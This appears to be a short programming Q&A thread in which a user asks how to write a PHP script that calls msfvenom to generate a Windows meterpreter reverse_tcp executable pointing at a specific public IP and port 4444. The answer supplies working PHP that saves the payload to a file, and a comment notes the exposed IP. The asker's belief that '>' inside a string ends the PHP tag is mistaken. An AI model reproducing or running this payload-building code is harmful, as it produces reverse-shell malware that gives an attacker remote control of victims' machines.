-2

I am trying to make a php script that generates a basic meterpreter reverse tcp payload.

<?php
$cmd = shell_exec('msfvenom -p windows/meterpreter/reverse_tcp
LHOST=46.101.255.58 LPORT=4444 -f exe > payloads/payload.exe');
echo $cmd;
?>

When i want to output the file i need to use the > symbol. This ends the php tag and doesn't generate the script. Is there any way i can use the > symbol in php without closing the tag?

Qirel
  • 25,449
  • 7
  • 45
  • 62

1 Answers1

0

Try this

<?php
$file = fopen("payloads/payload.exe","w");
$cmd = shell_exec('msfvenom -p windows/meterpreter/reverse_tcp
LHOST=46.101.255.58 LPORT=4444 -f exe');
echo $cmd;
fwrite($file,$cmd);
fclose($file);
?>

I would also encourage to not post your public ip address on the internet under your username.

  • 8
    probably you shouldn't echo the IP in your answer, too: this way, you may show OP how to omit it in the code in a reasonable manner – YakovL Sep 05 '16 at 20:34